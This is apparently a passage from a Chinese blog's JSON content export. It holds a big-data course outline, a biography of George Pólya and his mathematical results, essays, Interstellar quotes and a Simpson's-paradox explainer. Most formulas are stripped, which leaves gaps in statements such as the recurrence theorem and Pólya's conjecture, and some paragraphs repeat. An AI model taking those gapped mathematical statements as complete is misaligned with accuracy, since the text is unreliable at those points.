我们绝不能相信那些人，他们如今以一种高深的哲理姿态和优越的口吻预言文化的衰落，并接受 “不可知论”。但对我们而言，并不存在 “不可知之事”，在我看来，在自然科学领域更是绝无可知之事。让我们用这样的口号来取代那愚蠢的 “不可知论” 吧： We must know, We will know. 我们必须知道，我们终将知道。"},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/pdf/bigdata.html","permalink":"https://blog.mhuig.top/notes/pdf/bigdata","excerpt":"","text":"大数据处理技术 大数据处理技术 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); }) day01 大数据集群环境准备 & zookeeper 的介绍以及集群环境搭建三台虚拟机创建并联网 大数据集群环境准备 分布式集群 zookeeper 的介绍以及集群环境搭建 day02 大数据发展简史及环境安装hadoop 的介绍以及发展历史 hadoop 的历史版本介绍 三大公司发行版本介绍 hadoop 的架构模型（1.x，2.x 的各种架构模型介绍） apache hadoop 三种架构介绍（standAlone) apache hadoop 三种架构介绍（伪分布介绍以及安装） apache hadoop 三种架构介绍（高可用分布式环境介绍以及安装） day03Hadoop 集群初体验 & HDFS 的命令行使用hadoop 集群初体验 HDFS 入门介绍 HDFS 的命令行使用 CDH 伪分布式环境搭建 day04 分布式文件系统 HDF分布式文件系统详细介绍 HDFS 分布式文件系统设计目标 HDFS 的来源 HDFS 的架构图之基础架构 hdfs 的架构之文件的文件副本机制 HDFS 的元数据信息 FSimage 以及 edits 和 secondaryNN 的作用 HDFS 的文件写入过程 HDFS 的文件读取过程 HDFS 的 JavaAPI 操作 day05MapReduce 编程模型 - WordCount 实例分析理解 MapReduce 思想 HadoopMapReduce 设计构思 MapReduce 框架结构 MapReduce 编程规范及示例编写 WordCount 示例编写本地模式 MapReduce 编程模型 - WordCount 实例分析 day06MapReduce 的运行机制MapReduce 的分区与 reduceTask 的数量 MapTask 运行机制详解以及 Map 任务的并行度 ReduceTask 工作机制以及 reduceTask 的并行度 MapReduceshuffle 过程 索引建立 day07Yarn 资源调度及 Hive 初步Hive 基本概念 Hive 的安装部署 Hive 基本操作之创建数据库 创建数据库表 hive 语句综合练习 Yarn 资源调度 关于 yarn 常用参数设置 day08Flume 数据采集Flume 介绍 Flume 的安装部署 采集案例监控目录变化 采集案例监控文件的变化 两个 agent 级联 更多 source 和 sink 组件 高可用 Flume flume 的负载均衡 loadbalancer day09 消息队列 Kafkakafka 的介绍 kafka 的安装 kafka 的命令行的管理使用 kafka 的 javaAPI 的使用 kafka 的数据的分区 kafka 的配置文件的说明 flume 与 kafka 的整合 kafka-manager 监控工具的使用 CDH 版本的 zookeeper 环境搭建 day10sqoop 数据迁移sqoop day11 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对哲学产生了浓厚的兴趣。他的哲学教授建议他参加物理和数学课程以帮助他更深入地了解哲学。因为这一契机，Pólya 开始正式学习数学。 对这段经历，Pólya 后来调侃道：“我认为我在物理学方面不够好，在哲学方面则非常好。数学介于两者之间。” 在 Budapest 大学，Pólya 由调和分析学家费耶尔（Lipót Fejér, 1880-1959）教授数学。Pólya 后来说：“我深受 Fejér 的影响，正如我这一代的所有匈牙利数学家一样。事实上，我曾与 Fejér 在一些小事上合作过一两次。…… 但这并没有真正产生深远影响。” 1910-1911 年，Pólya 在维也纳（Vienna）大学学习，期间通过教当地一位政要的儿子赚取学费。在 Vienna，他参加了维廷格（Wilhelm Wirtinger, 1865-1945）和梅尔滕斯（Franz Carl Joseph Mertens, 1840-1927）的数学讲座，同时继续对物理学保持浓厚兴趣，参加了相对论、光学等物理讲座。 1912 年，Pólya 回到 Budapest 攻读数学博士学位，期间在基本没有指导的情况下研究了几何概率论（geometric probability）中的一个问题。他在 Göttingen 度过了 1912-1913 年的大部分时间。在那里，他与一大批数学大家来往，包括克莱因（Felix Christian Klein, 1849-1925）、卡拉西奥多里（Constantin Carathéodory, 1873-1950）、希尔伯特（David Hilbert, 1862-1943）、龙格（Carl David Tolmé Runge, 1856-1927）、兰道（Edmund Georg Hermann Landau, 1877-1938）、外尔（Hermann Klaus Hugo Weyl, 1885-1955）、赫克（Erich Hecke, 1887-1947）、库朗（Richard Courant, 1888-1972）和托普利茨（Otto Toeplitz, 1881-1940）等。 不幸地是，Pólya 因为一件偶然的事故被迫离开了 Göttingen。他在 1921 年的一封信中解释说：“1913 年圣诞节，我乘火车从 Zürich 到 Frankfurt，当时我与火车车厢里坐在我对面的一位年轻人因为我掉下来的篮子发生了口角。我一时情绪激动，向他挑衅。看到他没有回应我的挑衅时，我又打了他的耳朵。后来发现，这个年轻人是某位头面人物的儿子，同时也是 Göttingen 大学的一名学生。在一些误会之后，大学教务会让我离开了。” 1914 年初，Pólya 前往 Paris 进行短期访问，会见了皮卡（Charles Émile Picard，1856-1941）和阿达玛（Jacques Salomon Hadamard，1865-1963）等人。但主要是由于糟糕的住宿条件，他并不太享受这段访问。在 Pólya 遇到的众多数学大家中，对他影响最大的数学家是赫尔维茨（Adolf Hurwitz，1859-1919）。当时，Hurwitz 在苏黎世联邦理工学院（ETH Zurich）担任数学教授。 于是，在 Pólya 得知 Hurwitz 为他安排了在 ETH Zurich 的讲师工作时（Hurwitz 本人在 ETH 担任数学教授），便欣然接受。后来他说：“我深受 Hurwitz 的影响。事实上，我去 Zurich 就是为了接近 Hurwitz。从我 1914 年到达 Zurich 到他 1919 年去世，我们保持了大约六年的密切联系。我们有合著了一篇论文，但这并不是全部。我对他印象深刻，并编辑了他的作品集。他的手稿也给我留下了深刻的印象。” 在 Zurich 期间，除了 Hurwitz 之外，Pólya 的同事还包括盖瑟（Karl Friedrich Geiser，1843-1934）、伯内斯（Paul Isaac Bernays，1888-1977）、策梅洛（Ernst Friedrich Ferdinand Zermelo，1871-1953）和 Weyl 等。 于是，在 Pólya 得知 Hurwitz 为他安排了在 ETH Zurich 的讲师工作时（Hurwitz 本人在 ETH 担任数学教授），便欣然接受。后来他说：“我深受 Hurwitz 的影响。事实上，我去 Zurich 就是为了接近 Hurwitz。从我 1914 年到达 Zurich 到他 1919 年去世，我们保持了大约六年的密切联系。我们有合著了一篇论文，但这并不是全部。我对他印象深刻，并编辑了他的作品集。他的手稿也给我留下了深刻的印象。” 他到达 Zurich 当年，第一次世界大战开始。起初，战事并没有给 Pólya 带来实际影响，因为他在学生时代因足球受到的伤病导致他的身体状况不适合在匈牙利军队服役。 这对 Pólya 来说是幸运的，因为此时他已经是一位坚定的和平主义者，不愿参加战争。 然而，随着战争的进行，匈牙利军队对士兵越来越迫切，最终要求 Pólya 返回匈牙利参军，但他拒绝了。这使得战争结束后多年 Pólya 才能返回匈牙利而不必担心因未能服兵役而被捕。 实际上，Pólya 直到 1967 年才回到匈牙利，当时距离他上一次访问祖国已经过去了 54 年。 1918 年，Pólya 与瑞士女孩斯特拉・维拉・韦伯（Stella Vera Weber，1894-1989）结婚，她是纳沙泰尔大学（University of Neuchâtel）一位物理学教授的女儿。这段时间 Pólya 获得了瑞士公民身份。 1923 年，Pólya 和塞格（Gábor Szegő，1895-1985）向出版商 Springer 提出了他们出版两卷本作品的想法，并于 1925 年出版了后来使他们名声鹊起的数学杰作《分析中的问题与定理》（Aufgaben und Lehrsätze aus der Analysis，1925）。 Pólya 于 1913 年前后在 Budapest 第一次见到 Szegő，当时 Szegő 是 Budapest 大学的一名学生，Pólya 与 Szegő 讨论了对 Fourier 系数所做的一个猜想。后来这个猜想由 Szegő 证明了，成为他发表的第一项工作。 Pólya 和 Szegő 的问题集的特别之处在于内容并非按问题的主题进行分类，而是按解决问题的方法对问题进行分类。后来 Pólya 解释了为什么采取了这种与众不同的方式： “我接触数学的时间很晚。…… 当我开始学习数学并学到一些东西时，我想：我懂了，这证明看上去准确无误；但人们是怎么找到这种结果的呢？我理解数学的困难在于：它是如何被发现的？” 1920 年，Pólya 被提升为 ETH Zurich 的特聘教授。1924 年，他获得了洛克菲勒奖（Rockefeller Fellowship），使他能够在英国跟随哈代（Godfrey Harold Hardy, 1877-1947）学习。 1924 年，他一部分时间在 Oxford，一部分时间在 Cambridge，期间与 Hardy 和利特伍德（John Edensor Littlewood, 1885-1977）合作，开始撰写《不等式》（Inequalities, 1934）一书。在编写这本书的同时，Pólya 继续发表了一系列非凡的工作。 1926-1928 年，他一共发表了 31 篇论文。鉴于这些工作的深度和数量，他于 1928 年顺理成章地被提升为 ETH Zurich 的正式教授。 在 Zurich 期间，Pólya 的数学成果数量众多且范围广泛。例如，1918 年，他发表了关于级数、数论、组合学和投票系统的论文。次年，除了关于这些主题的论文外，他还发表了关于天文学和概率论的文章。 在从事如此广泛的工作的同时，他还证明了在积分函数（integral functions）研究方面的一些非常深刻的结果。 1933 年，Pólya 第二次获得 Rockefeller 奖，使他能够访问 Princeton。访美期间，布利希费尔特（Hans Frederick Blichfeldt, 1873-1945）邀请 Pólya 访问 Stanford 大学，他去了并且非常喜欢那里。此后，Pólya 回到 Zurich，但在 1940 年，欧洲紧张的政治局势迫使 Pólya 移居美国。在 Brown 大学和史密斯学院（Smith College）工作了一段时间后，他前往 Stanford 大学任职。 在去美国之前，Pólya 已经有一本用德语写成的《怎样解题》（How to solve it）的草稿。他不得不尝试了四家出版商，才终于找到一家愿意在美国出版该书的英文版。此后该书售出超过 100 万册，并被翻译成 17 种语言。 Pólya 在《怎样解题》中解释说，解决问题需要研究启发法（heuristics）：“启发法的目的是理解发现和发明的方法和规则……‘Heuristic’作为形容词，原意是‘用于发现’。…… 其目的是发现当前问题的解决方案。…… 什么是好的教育？系统地给学生机会，让自己去发现事物。” 他还给出了许多明智的建议，包括：“如果你不能解决一个问题，那么你可以解决一个更简单的问题：找到它。” Pólya 在职业生涯的后期花费了大量精力去寻找解决问题的系统方法，让学生、教师和研究人员能够更好地发现和创造新的数学。他写了五本关于这个主题的书。 1953 年，Pólya 从 Stanford 大学退休，但仍积极参与数学工作，特别是数学教育。 他以名誉教授的身份继续在 Stanford 大学工作，他的教学生涯也还没有结束。一直到 1978 年，他还在 Stanford 大学计算机科学系教授了一门组合学课程。 1985 年 9 月 7 日，Pólya 在美国加利福尼亚州帕洛阿尔托（Palo Alto）因中风去世。 许多人认为教学是 Pólya 对数学的最大贡献。对此，Pólya 后来评论道：“教学不是一门科学；它是一门艺术。如果教学是一门科学，就会有一种最好的教学方式，每个人都必须这样教学。由于教学不是一门科学，因此有很大的自由度，个人差异的可能性也很大。…… 让我告诉你我对教学的看法是什么。被广泛接受的第一要义是：教学必须是主动的，或者更确切地说是主动学习（active learning）。…… 数学教学的重点是发展解决问题的策略。” Pólya 是 20 世纪最有影响力的数学家之一。他的数学贡献涵盖数论、数学物理、概率论、几何和组合学等，同时还是一位卓越的教师，在他漫长的职业生涯中一直对教学工作保持着浓厚的兴趣。 Pólya 因其杰出贡献获得了许多荣誉。他三次受邀在 ICM 发表演讲，包括 1928 年在博洛尼亚，1936 年在奥斯陆和 1950 年在马萨诸塞州剑桥。 他被选为美国国家科学院、美国艺术与科学院、匈牙利科学院院士，伦敦数学学会、英国数学协会、瑞士数学学会和布鲁塞尔国际哲学学院的荣誉会员。 有三个奖项以 Pólya 命名，分别由工业与应用数学学会（SIAM）、美国数学协会（MAA）和伦敦数学学会（LMS）设立。Stanford 大学有一处以他的名字命名的建筑（Pólya Hall）。 贡献Pólya 的主要数学贡献包括下面几个方面： 一、概率论1921 年，Pólya 证明了整数格点（integer lattice）上著名的随机游走定理（Math. Ann., 1921），后来被称为 Pólya 常返定理（Pólya's recurrence theorem）。考虑 维整数格点上的简单随机游走，其从任意点都有相等的概率移动到任何相邻点。从格点上的任意一点 开始进行随机游走，最终回到 的概率是否为 1？ Pólya 给出了一个令人惊讶的回答：对于 、 上述问题的答案是肯定的，但对于 则是否定的。 在证明过程中，Pólya 运用生成函数（generating function）方法，通过构造适当的生成函数来描述随机游走从原点出发经过 步后返回原点的概率。生成函数后来成为了概率论中的一种重要工具。 Pólya 常返定理直观地说明了低维空间中，随机游走的轨迹会因为受到维数制约而不断回到起点，而在三维及更高维空间中，则存在正概率使得随机游走永远离开原点。 这一结果揭示了空间维数对随机过程行为具有根本影响，说明随着维数增加，随机游走轨迹扩散的趋势更明显。该成果不仅在理论概率论中占据重要位置，而且对后续研究随机过程、扩散现象等问题都产生了深远影响。 此外，Pólya 还做了许多关于正态分布的工作。特别地，他在 1920 年一篇论文《关于概率计算的中心极限定理与矩问题》（Über den zentralen Grenzwertsatz der Wahrscheinlichkeitsrechnung und das Momentenproblem, 1920）的题目中首次使用了 “中心极限定理（central limit theorem）” 一词，现在已成为标准术语。 二、组合数学1937 年，Pólya 证明了组合数学中的一个重要结论，后来被称为 Pólya 计数定理（Pólya enumeration theorem）（Acta Math., 1937）。这项工作旨在解决具有对称性的离散结构的计数问题，例如图形着色、化学异构体分类、排列组合等。 考虑作用在有限集合 上的置换群 。对于任意 ，记作用下的不动元素为 。 伯恩赛德（William Burnside, 1852-1927）引理（Burnside's lemma）断言：轨道（orbits）数 可由下列公式计算： Pólya 推广了 Burnside 引理，为处理具有对称结构的计数问题提供了一种系统而强大的工具，其核心思想是将由群作用表示的对称性引入计数过程，通过生成函数和群不变量简化计算。 具体来说，令 为拥有 个元素的有限集，代表 种不同的颜色， 代表用 对集合 的不同着色方案。 Pólya 计数定理（Pólya enumeration theorem）断言： 其中 为 的循环指标（cycle index）。 Pólya 的这一结论在实际应用中产生了深远影响。例如，在给正多边形或化合物分子着色时，传统计数方法容易陷入重复计算，而 Pólya 计数定理考虑到对象集合上群作用所产生的对称性，避免了枚举所有可能图像后再剔除同构方案的繁琐步骤。这一工作启发了很多数学家在相关领域寻找类似的对称性和不变量，其结论既简化了实际计算，也为后续在组合数学、统计物理和计算机科学等领域的相关研究提供了坚实基础。 三、数论中的 Pólya 猜想1919 年，Pólya 在论文《数论的各种评论》（Verschiedene Bemerkungen zur Zahlentheorie, 1919）提出了下列命题：小于任意足够大的正整数的自然数 “大多”（即 50% 或更多）具有奇数个质因数（“most” (i.e., 50% or more) of the natural numbers less than any given number have an odd number of prime factors）。 具体来说，设 为正整数，考虑 Liouville 函数 其中 ， 为 的质因数总数。如果整数 的质因数为偶数，则 为正；如果整数 的质因数为奇数，则 为负。 Pólya 猜想可以等价为：对于任意足够大的 ， 。 Pólya 用数值方法验证了 时上述命题成立。此后，英厄姆（Albert Edward Ingham, 1900-1967）在 1942 年证明了若 Pólya 猜想成立，则可推导出黎曼 函数非平凡零点的正虚部之间存在线性依赖关系。因为学界普遍认为后者不成立，所以 Ingham 的工作使得人们对 Pólya 猜想是否成立产生了严重的怀疑。 最终，1958 年，Ingham 的学生哈泽尔格罗夫（Colin Brian Haselgrove, 1926-1964）在电子计算机的辅助下，证明了该命题是错误的。 雷曼（Russell Sherman Lehman, 1930-2023）在 1960 年的论文《关于 Liouville 函数》（On Liouville's function）发现了第一个显式反例， 最小的反例 由稔田中（Minoru Tanaka）在 1980 年发现的。此后，这些反例常被用于说明即使某个猜想在许多情况下可能是正确的，但在一般情况下仍然不成立。 四、Hilbert-Pólya 猜想1912 至 1914 年间，Pólya 在 Göttingen 与 Edmund Landau 讨论黎曼猜想可能的证明方法时提出，如果能够找到一个自伴算子（self-adjoint operator），使其特征值恰为黎曼 函数非平凡零点的虚部，则可以推导出黎曼猜想成立。 这一思路给数学界试图证明黎曼猜想提供了一种新思路，即通过谱理论的方法揭示黎曼 函数非平凡零点的深层结构。 设黎曼 函数的所有非平凡零点为 。Pólya 指出，可以试图构造一类形如 的算子，其中 为适当的无界算子，其特征值恰巧对应虚部 。此时，若 是自伴的，由于自伴算子的特征值必为实数，且其特征值与黎曼 函数非平凡零点的虚部相对应，则说明这些零点必位于复平面上实部为 的临界线上。 后来，上述问题被学界称为 Hilbert-Pólya 猜想。 这一猜想首次将数论中的黎曼猜想与量子力学中的谱理论关联，暗示黎曼猜想可能存在某种物理解释。 虽然 Pólya 在 20 世纪初就提出了这一设想，但当时缺乏实质性的技术支撑，导致很长一段时间没有实质性突破。 1950 年代，塞尔伯格（Atle Selberg, 1917-2007）证明了黎曼曲面上测地线长度与拉普拉斯算子特征值存在特定关系，即 Selberg 迹公式（Selberg's trace formula）。该结论表明 函数零点确可通过某种迹公式与算子谱关联，为 Hilbert-Pólya 猜想提供了初步数学支持。 1970 年代，蒙哥马利（Hugh Lowell Montgomery, 1944 - ）发现黎曼 函数零点的统计学规律与随机厄米矩阵（random Hermitian matrix）特征值分布一致。这一发现将数论问题与统计物理中的随机矩阵理论结合，进一步支持了 Pólya 的猜想。 1990 年代，贝里（Michael Victor Berry, 1941-）与基廷（Jonathan Peter Keating, 1963-）提出，黎曼 函数的零点可能对应经典哈密顿量 （位置 与动量 的乘积）的某种特定量子化算子的特征值，并且可以通过引入适当的边值条件控制零点分布的渐进行为。这为研究 Hilbert-Pólya 猜想提供了更具体的物理模型。 1990 年代，贝里（Michael Victor Berry, 1941-）与基廷（Jonathan Peter Keating, 1963-）提出，黎曼 函数的零点可能对应经典哈密顿量 （位置 与动量 的乘积）的某种特定量子化算子的特征值，并且可以通过引入适当的边值条件控制零点分布的渐进行为。这为研究 Hilbert-Pólya 猜想提供了更具体的物理模型。 五、几何中的 Pólya 猜想Pólya 猜想关于特征值的猜想涉及有界区域 上 Dirichlet 特征值问题： 内；上 Pólya 猜想断言，第 个特征值 满足下界估计： 其中 是单位球在 中的体积， 表示 的体积。 如果 可以平铺 空间，Pólya 在 1961 年证明了这个猜想是成立的。 在丘和李伟光（Peter Li）于 1983 年发表在 Commun. Math. Phys. 的论文《On the Schrödinger equation and the eigenvalue problems》中，证明了如下的估计： 实际上，得到的是如下更强的结果，关于特征值的平均下界的精确估计： 尽管这一结果未能完全证明 Pólya 猜想，但平均下界估计是渐近最优的。 六、其他贡献Pólya 对复分析的兴趣使他研究了幂级数的奇点、间隙定理（gap theorem）、具有积分系数的幂级数和在正整数处取积分值的幂级数、指数型整函数（entire function）的 Pólya 表示以及零点位置。 他还研究了共形映射（conformal mapping）和势能理论（potential theory），在此基础上研究了偏微分方程的边值问题以及与之相关的各种泛函理论。 他的方法特别适用于等周问题（Isoperimetric problem）。1951 年，他与 Szegő 一起撰写了数学物理领域的经典著作《数学物理中的等周不等式》（Isoperimetric Inequalities in Mathematical Physics, 1951）。"}],"posts":[{"title":"空白的答案","slug":"pen/空白的答案","date":"2026-05-05T03:51:00.000Z","updated":"2026-05-05T04:18:00.000Z","comments":true,"path":"p/cb3fc42/","permalink":"https://blog.mhuig.top/p/cb3fc42/","excerpt":"","text":"当唐僧师徒历经九九八十一难抵达灵山，阿傩、伽叶却因未得 “人事” 而传无字真经。孙悟空怒而质问，佛祖却笑着说：“白本者，乃无字真经，倒也是好的。” 这像极了《功夫熊猫》里的神龙秘籍：阿宝打开卷轴，只映出自己的脸，茫然失措时，阿宝的父亲传授祖传面汤 “那鲜汤的秘密配方就是不加料，根本就没什么秘方，要做出特别的东西你必须相信他很特别。” 原来，所谓的秘密配方，不过是让你相信自己手中的汤就是最好的汤。 “昨天是段历史，明天是个谜团，而今天是天赐的礼物，像珍惜礼物那样珍惜今天。” 我们总在追逐未来的答案，却忘了当下的每一刻都是答案本身。唐僧在取经路上经历的每一次磨难，都是无字真经的注脚，燃灯古佛曾暗笑 “东土众生愚迷，不识无字之经”；阿宝在厨房领悟的 “相信自己”，才是神龙秘籍的真谛。那些看似空白的智慧，其实藏在我们对当下的专注里，就像鲜汤的秘密，不在于添加多少调料，而在于你是否相信自己手中的食材本就独一无二。 “昨日已成过去，未来充满可能，唯有珍惜现在。” 当我们不再执着于寻找某个 “标准答案”，而是相信自己正在创造答案时，空白就变成了无限的可能。阿傩的无字经不是敷衍，而是让师徒明白：真经不在纸上，而在取经的每一步；神龙秘籍的空白不是欺骗，而是让阿宝明白：力量不在卷轴里，而在他对自己的信任中。就像那碗鲜汤，真正的秘方，是你愿意为它倾注的热爱与信心。 或许，生活给我们的每一个 “空白”，都是在邀请我们写下自己的答案。毕竟，最珍贵的秘籍，从来不是别人给的，而是你相信自己能创造的。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"探索","slug":"探索","permalink":"https://blog.mhuig.top/tags/%E6%8E%A2%E7%B4%A2/"}]},{"title":"","slug":"notes/person","date":"2026-05-04T06:59:00.000Z","updated":"2026-05-04T10:18:00.000Z","comments":false,"path":"p/person-archive/","permalink":"https://blog.mhuig.top/p/person-archive/","excerpt":"History of mathematics 开始阅读","text":"History of mathematics 开始阅读 History of mathematics","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"},{"name":"History","slug":"数学/History","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/History/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"爱与时空的星际救赎：《星际穿越》中的生存抉择与人性光辉","slug":"pen/星际穿越","date":"2025-11-22T00:08:00.000Z","updated":"2025-11-23T22:18:00.000Z","comments":true,"path":"p/56c48370/","permalink":"https://blog.mhuig.top/p/56c48370/","excerpt":"","text":"地球危机与生存觉醒 We used to look up at the sky and wonder at our place in the stars, now we just look down and worry about our place in the dirt. 我们曾经仰望星空并且期许总有一天可以登陆其他星球，但现在我们只能低头担心我们居住地的废土。 Cooper: Mankind was born on Earth. It was never meant to die here. 库珀：人类生在地球，但绝不应该在这里灭亡。 告别地球与父女约定 Murphy’s law doesn’t mean that something bad will happen. It means that whatever can happen, will happen. 墨菲定律并非指的是那些变坏的事情必会发生，而是指那些能够发生的事情，就会发生。 Brand: Couldn’t you’ve told her you were going to save the world? 布兰德：你难道没有告诉你女儿你是去拯救世界的吗？ Cooper: No. When you become a parent, one thing becomes really clear. And that’s that you want to make sure your children feel safe. 库珀：没有。当你为人父母了以后，你会非常清楚一件事，那就是你得确保你的孩子有安全感。 Dr. Brand: Not sure of what I’m more afraid of, them never coming back, or coming back to find we’ve failed. 布兰德博士：不知道我更害怕哪个，是他们不会再回来了，还是回来却发现我们失败了。 Murph: Then let’s succeed. 墨菲：那我们就成功啊。 星际航行与伦理抉择 Cooper: What’s your trust setting TARS? 库珀：塔斯，你的信任值是多少？ TARS: Lower than yours apparently. 塔斯：显然比你们低。 Absolute honesty isn’t always the most diplomatic, nor the safest form of communication with emotional beings. 跟情绪化的存在体沟通，绝对的坦诚既是不明智的外交手段，也是不安全的做法。 Brand: You might have to decide between seeing your children again and the future of the human race. 布兰德：你必须在再次见到你的孩子和人类的未来之间做出决定。 We need to go well beyond the boundaries of our own existence. We can’t think as individuals… 我们需要前往距离我们生存的世界极其遥远的地方，我们不可以作为一个个体来思考这个问题…… We’ll find a way; we always have. 我们会找到办法的，我们总有办法。 时空错位与亲情回响 Murph: Today is my birthday. And it’s a special one because you once told me that when you came back, we might be the same age. Well, now I’m the same age that you were when you left… and it’d be really great if you came back soon. 墨菲：今天是我的生日。这个生日很特殊，因为你当年走的时候说，等你回来的时候我们俩大概就一样大了。现在我已经到了你离开时的年纪…… 如果你能早点回来就太好了。 Once you’re a parent, you’re the ghost of your children’s future. 从孩子出生开始父母就成为了他们的幽灵。 五维真相与文明救赎 Love is the one thing we’re capable of perceiving that transcends time and space. 爱是唯一可以超越时间和空间的事物。 Do not go gentle into that good night, 不要温和地走进那良夜， Old age should burn and rave at close of day; 人之暮年，更当厚积薄发； Rage, rage against the dying of the light. 怒火，用怒火燃尽最后的光华。 Though wise men at their end know dark is right, 智者虽明白，黑夜终将到来， Because their words had forked no lightning they 他们的言语已无法化作闪电， Do not go gentle into that good night 不要平静地走进那夜晚， Rage, rage against the dying of the light. 怒火，用怒火燃尽最后的光华。 Time is relative, okay? It... it can stretch and it can squeeze, but... it can't run backwards. Just can't. The only thing that can move across dimensions, like time, is gravity. 时间是唯一能穿越所有维度的存在，它可以在不同维度空间里变慢或者变快，却无法倒流。 It was me, Murph. I was your ghost. 是我，墨菲，我就是你的幽灵。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"探索","slug":"探索","permalink":"https://blog.mhuig.top/tags/%E6%8E%A2%E7%B4%A2/"}]},{"title":"","slug":"notes/Zeta","date":"2025-09-14T06:59:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/zeta-archive/","permalink":"https://blog.mhuig.top/p/zeta-archive/","excerpt":"Zeta Archive 开始阅读","text":"Zeta Archive 开始阅读 Zeta Archive","categories":[{"name":"数学","slug":"数学","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/"},{"name":"Zeta","slug":"数学/Zeta","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E5%AD%A6/Zeta/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"","slug":"notes/datacom","date":"2023-12-03T05:59:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/notes-datacom/","permalink":"https://blog.mhuig.top/p/notes-datacom/","excerpt":".fa-secondary{opacity:.4} 数据通信网络 开始阅读","text":".fa-secondary{opacity:.4} 数据通信网络 开始阅读 数据通信网络","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"计算机网络","slug":"Web/计算机网络","permalink":"https://blog.mhuig.top/categories/Web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"}],"tags":[{"name":"Notes","slug":"Notes","permalink":"https://blog.mhuig.top/tags/Notes/"}]},{"title":"辛普森悖论|你还相信数据吗","slug":"pen/辛普森悖论","date":"2022-09-22T08:14:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/2f345bb/","permalink":"https://blog.mhuig.top/p/2f345bb/","excerpt":"","text":"数据是一个有力的武器，它既能被用来澄清现实，也能被用来混淆是非 你知不知道，数据也会说谎？ 一个栗子假设您患有肾结石并去看医生。医生告诉你有两种治疗方法，治疗 A（开放手术 open surgery）和治疗 B（体外冲击波碎石术 ESWL）。 你问哪种治疗效果更好，医生说：“一项研究发现治疗 A 的成功概率高于治疗 B。” 你说：“我会接受治疗 A，谢谢！” 这时医生打断你，“但同样的研究还研究了哪种治疗效果更好，这取决于患者是大肾结石还是小肾结石。” 你说：“好吧，我有大肾结石还是小肾结石？” 你说话的时候，医生又打断了你，说：“其实没关系。你看，他们发现治疗 B 比治疗 A 成功的概率更高，不管你的肾结石是大还是小。” 你可能想知道你是否没看错。听起来不可能。但这是真的：在一项实际研究中，发现治疗 B 比治疗 A 对大肾结石和小肾结石起作用的概率更高，尽管事实上治疗 A 的总体 概率高于治疗 B。这是研究数据： 治疗 A 有帮助 治疗 B 有帮助 大肾结石 69% (55 / 80) 73% (192 / 263) 小肾结石 87% (234 / 270) 93% (81 / 87) 所有患者 83% (289 / 350) 78% (273 / 350) 表中的第一项显示，80 名大肾结石患者接受了 A 治疗，治疗帮助了其中 55 人，成功率为 69%。这不如治疗 B 好，它帮助了 263 名大肾结石患者中的 192 人，成功率为 73%。以类似的方式，第二行显示治疗 B 比治疗 A 对患有小肾结石的人更有效。 但是当你把每一列的数字加起来时，你会发现治疗 A 确实比治疗 B 整体效果更好。 值得花时间检查所有数字加起来检验一下，并说服自己我没有欺骗你. 刚刚展示的这种现象被称为辛普森悖论。如果你和包括我在内的大多数人一样，那么辛普森悖论在你第一次见到它时就会令人震惊。因为它违反了我们对世界推理的本能方式。而且，正如我们看到的那样，辛普森悖论不仅是一种怪异的现象，而且它经常在具有重要决策后果的地方出现。 表达式我们抽离出符号表达： 统计对象 1 统计对象 2 分项指标 1 分项指标 2 总计 如果 那么，推不出 以上就是辛普森悖论比较通俗易懂的表达式了。 我们忽略了什么从数据生成过程（因果模型）来看分析. 事实证明，小肾结石被认为是不严重的病例，治疗 B（体外冲击波碎石术 ESWL）比治疗 A（开放手术 open surgery）更加激进。 对于小肾结石，医生更有可能推荐保守疗法 A，因为病情不太严重，患者最有可能首先成功恢复。 对于严重的大肾结石，医生往往选择更激进的疗法 B。即使疗法 B 在这些病例中表现更好，由于是更严重的病例，疗法 B 的总体恢复率低于疗法 A. 在这个现实世界的例子中，肾结石的大小（病例的严重性）是一个混合变量，它会同时影响自变量（疗法）和因变量（恢复率）. 疗法病例的严重性 恢复率疗法病例的严重性 为了确定哪种治疗方法确实更好，我们需要通过对两组数据进行分离并比较组内的恢复率而不是按组聚合来控制混合变量。 小肾结石恢复率疗法 大肾结石恢复率疗法 这样看来激进的治疗 B（体外冲击波碎石术 ESWL）效果更好. 如果有潜在变量（特别是混合变量）存在，牢记：整体数据未必可靠，要通过科学合理的分组来查看具体细致的数据。 启示 数据从来都不是完全客观的. 我们必须对这些数字持怀疑态度. 辛普森悖论的出现是因为人们忽略了研究的因果关系，一旦我们理解了数据生成的机制，我们就可以寻找影响结果的其他因素，而图表不会告诉你这些. 充分考察事件的潜在影响因素和维度，系数消除分组数据基数差异造成的影响. 